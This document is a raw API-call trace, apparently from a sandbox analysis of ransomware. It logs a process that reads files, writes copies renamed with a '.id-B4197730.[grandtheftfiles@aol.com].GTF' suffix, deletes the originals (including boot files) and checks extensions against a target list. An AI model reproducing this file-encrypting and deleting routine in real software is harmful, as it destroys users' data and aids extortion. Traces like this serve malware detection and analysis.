	[0068.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.370] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.371] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.371] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0068.371] GetLastError () returned 0x0
	[0068.371] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x16c82, lpOverlapped=0x0) returned 1
	[0068.786] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x16c90, lpOverlapped=0x0) returned 1
	[0068.788] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.788] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0068.788] SetEndOfFile (hFile=0x320) returned 1
	[0068.911] CloseHandle (hObject=0x320) returned 1
	[0068.913] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.913] SetEndOfFile (hFile=0x2d4) returned 1
	[0068.915] CloseHandle (hObject=0x2d4) returned 1
	[0068.915] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.915] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1
	[0068.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.915] lstrlenW (lpString=".doc") returned 4
	[0068.915] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.915] lstrlenW (lpString=".docx") returned 5
	[0068.915] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.915] lstrlenW (lpString=".pdf") returned 4
	[0068.915] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.915] lstrlenW (lpString=".xls") returned 4
	[0068.915] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.915] lstrlenW (lpString=".xlsx") returned 5
	[0068.915] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.915] lstrlenW (lpString=".ppt") returned 4
	[0068.915] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.916] lstrlenW (lpString=".zip") returned 4
	[0068.916] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.916] lstrlenW (lpString=".rar") returned 4
	[0068.916] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString=".bz2") returned 4
	[0068.916] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString=".7z") returned 3
	[0068.916] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.916] lstrlenW (lpString=".dbf") returned 4
	[0068.916] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.916] lstrlenW (lpString=".1cd") returned 4
	[0068.916] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.916] lstrlenW (lpString=".jpg") returned 4
	[0068.916] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.916] lstrlenW (lpString=".doc") returned 4
	[0068.916] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString=".docx") returned 5
	[0068.916] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.916] lstrlenW (lpString=".pdf") returned 4
	[0068.916] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString=".xls") returned 4
	[0068.916] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString=".xlsx") returned 5
	[0068.916] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.916] lstrlenW (lpString=".ppt") returned 4
	[0068.916] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.916] lstrlenW (lpString=".zip") returned 4
	[0068.916] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.916] lstrlenW (lpString=".rar") returned 4
	[0068.917] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.917] lstrlenW (lpString=".bz2") returned 4
	[0068.917] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.917] lstrlenW (lpString=".7z") returned 3
	[0068.917] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.917] lstrlenW (lpString=".dbf") returned 4
	[0068.917] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.917] lstrlenW (lpString=".1cd") returned 4
	[0068.917] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0068.917] lstrlenW (lpString=".jpg") returned 4
	[0068.917] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.917] lstrcmpiW (lpString1=".LOG", lpString2=".GTF") returned 1
	[0068.917] lstrlenW (lpString="BCD.LOG") returned 7
	[0068.917] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0068.917] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.917] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.917] lstrlenW (lpString=".doc") returned 4
	[0068.917] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0068.917] lstrlenW (lpString=".docx") returned 5
	[0068.917] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0068.917] lstrlenW (lpString=".pdf") returned 4
	[0068.917] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0068.917] lstrlenW (lpString=".xls") returned 4
	[0068.917] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0068.917] lstrlenW (lpString=".xlsx") returned 5
	[0068.917] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0068.917] lstrlenW (lpString=".ppt") returned 4
	[0068.918] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0068.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.918] lstrlenW (lpString=".zip") returned 4
	[0068.918] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0068.918] lstrlenW (lpString=".rar") returned 4
	[0068.918] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0068.918] lstrlenW (lpString=".bz2") returned 4
	[0068.918] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0068.918] lstrlenW (lpString=".7z") returned 3
	[0068.918] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0068.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.918] lstrlenW (lpString=".dbf") returned 4
	[0068.918] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0068.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.918] lstrlenW (lpString=".1cd") returned 4
	[0068.918] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0068.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.918] lstrlenW (lpString=".jpg") returned 4
	[0068.918] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0068.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.918] lstrlenW (lpString=".doc") returned 4
	[0068.918] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0068.918] lstrlenW (lpString=".docx") returned 5
	[0068.918] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0068.918] lstrlenW (lpString=".pdf") returned 4
	[0068.918] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0068.918] lstrlenW (lpString=".xls") returned 4
	[0068.918] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0068.918] lstrlenW (lpString=".xlsx") returned 5
	[0068.918] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0068.918] lstrlenW (lpString=".ppt") returned 4
	[0068.918] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0068.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.918] lstrlenW (lpString=".zip") returned 4
	[0068.919] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0068.919] lstrlenW (lpString=".rar") returned 4
	[0068.919] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0068.919] lstrlenW (lpString=".bz2") returned 4
	[0068.919] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0068.919] lstrlenW (lpString=".7z") returned 3
	[0068.919] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0068.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.919] lstrlenW (lpString=".dbf") returned 4
	[0068.919] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0068.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.919] lstrlenW (lpString=".1cd") returned 4
	[0068.919] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0068.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0068.919] lstrlenW (lpString=".jpg") returned 4
	[0068.919] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0068.919] lstrcmpiW (lpString1=".DAT", lpString2=".GTF") returned -1
	[0068.919] lstrlenW (lpString="BOOTSTAT.DAT") returned 12
	[0068.919] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.920] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=65536) returned 1
	[0068.920] CloseHandle (hObject=0x2d4) returned 1
	[0068.921] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26
	[0068.921] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.921] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.921] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.921] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.921] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0068.922] GetLastError () returned 0x0
	[0068.922] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x10000, lpOverlapped=0x0) returned 1
	[0068.924] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x10010, lpOverlapped=0x0) returned 1
	[0068.926] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.926] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0068.926] SetEndOfFile (hFile=0x320) returned 1
	[0068.926] CloseHandle (hObject=0x320) returned 1
	[0068.928] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.928] SetEndOfFile (hFile=0x2d4) returned 1
	[0068.930] CloseHandle (hObject=0x2d4) returned 1
	[0068.930] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x26) returned 1
	[0068.930] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1
	[0068.930] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.930] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.930] lstrlenW (lpString=".doc") returned 4
	[0068.931] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString=".docx") returned 5
	[0068.931] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0068.931] lstrlenW (lpString=".pdf") returned 4
	[0068.931] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString=".xls") returned 4
	[0068.931] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString=".xlsx") returned 5
	[0068.931] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0068.931] lstrlenW (lpString=".ppt") returned 4
	[0068.931] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.931] lstrlenW (lpString=".zip") returned 4
	[0068.931] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString=".rar") returned 4
	[0068.931] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString=".bz2") returned 4
	[0068.931] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0068.931] lstrlenW (lpString=".7z") returned 3
	[0068.931] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0068.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.931] lstrlenW (lpString=".dbf") returned 4
	[0068.931] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.931] lstrlenW (lpString=".1cd") returned 4
	[0068.931] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0068.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.931] lstrlenW (lpString=".jpg") returned 4
	[0068.931] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.931] lstrlenW (lpString=".doc") returned 4
	[0068.931] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0068.931] lstrlenW (lpString=".docx") returned 5
	[0068.931] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0068.932] lstrlenW (lpString=".pdf") returned 4
	[0068.932] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0068.932] lstrlenW (lpString=".xls") returned 4
	[0068.932] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0068.932] lstrlenW (lpString=".xlsx") returned 5
	[0068.932] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0068.932] lstrlenW (lpString=".ppt") returned 4
	[0068.932] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0068.932] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.932] lstrlenW (lpString=".zip") returned 4
	[0068.932] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0068.932] lstrlenW (lpString=".rar") returned 4
	[0068.932] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0068.932] lstrlenW (lpString=".bz2") returned 4
	[0068.932] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0068.932] lstrlenW (lpString=".7z") returned 3
	[0068.932] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0068.932] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.932] lstrlenW (lpString=".dbf") returned 4
	[0068.932] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0068.932] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.932] lstrlenW (lpString=".1cd") returned 4
	[0068.932] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0068.932] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0068.932] lstrlenW (lpString=".jpg") returned 4
	[0068.932] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0068.932] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0068.932] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0068.932] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0068.934] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=4662) returned 1
	[0068.934] CloseHandle (hObject=0x320) returned 1
	[0068.934] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0068.934] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.934] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0068.934] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.934] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.934] lstrlenW (lpString=".doc") returned 4
	[0068.934] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0068.934] lstrlenW (lpString=".docx") returned 5
	[0068.934] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0068.934] lstrlenW (lpString=".pdf") returned 4
	[0068.934] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0068.934] lstrlenW (lpString=".xls") returned 4
	[0068.934] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0068.934] lstrlenW (lpString=".xlsx") returned 5
	[0068.934] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0068.934] lstrlenW (lpString=".ppt") returned 4
	[0068.934] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0068.935] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.935] lstrlenW (lpString=".zip") returned 4
	[0068.935] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0068.935] lstrlenW (lpString=".rar") returned 4
	[0068.935] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0068.935] lstrlenW (lpString=".bz2") returned 4
	[0068.935] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0068.935] lstrlenW (lpString=".7z") returned 3
	[0068.935] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0068.935] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.935] lstrlenW (lpString=".dbf") returned 4
	[0068.935] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0068.935] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.935] lstrlenW (lpString=".1cd") returned 4
	[0068.935] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0068.935] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.935] lstrlenW (lpString=".jpg") returned 4
	[0068.935] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0068.935] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.935] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.935] lstrlenW (lpString=".doc") returned 4
	[0068.935] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0068.935] lstrlenW (lpString=".docx") returned 5
	[0068.935] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0068.935] lstrlenW (lpString=".pdf") returned 4
	[0068.935] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0068.935] lstrlenW (lpString=".xls") returned 4
	[0068.935] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0068.935] lstrlenW (lpString=".xlsx") returned 5
	[0068.935] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0068.935] lstrlenW (lpString=".ppt") returned 4
	[0068.935] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0068.935] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.935] lstrlenW (lpString=".zip") returned 4
	[0068.935] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0068.935] lstrlenW (lpString=".rar") returned 4
	[0068.936] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0068.936] lstrlenW (lpString=".bz2") returned 4
	[0068.936] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0068.936] lstrlenW (lpString=".7z") returned 3
	[0068.936] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0068.936] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.936] lstrlenW (lpString=".dbf") returned 4
	[0068.936] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0068.936] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.936] lstrlenW (lpString=".1cd") returned 4
	[0068.936] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0068.936] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0068.936] lstrlenW (lpString=".jpg") returned 4
	[0068.936] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0068.936] lstrcmpiW (lpString1=".BAK", lpString2=".GTF") returned -1
	[0068.936] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0068.936] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0068.936] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=8192) returned 1
	[0068.936] CloseHandle (hObject=0x320) returned 1
	[0068.936] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0068.937] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\bootsect.bak.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.937] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0068.940] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0068.940] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
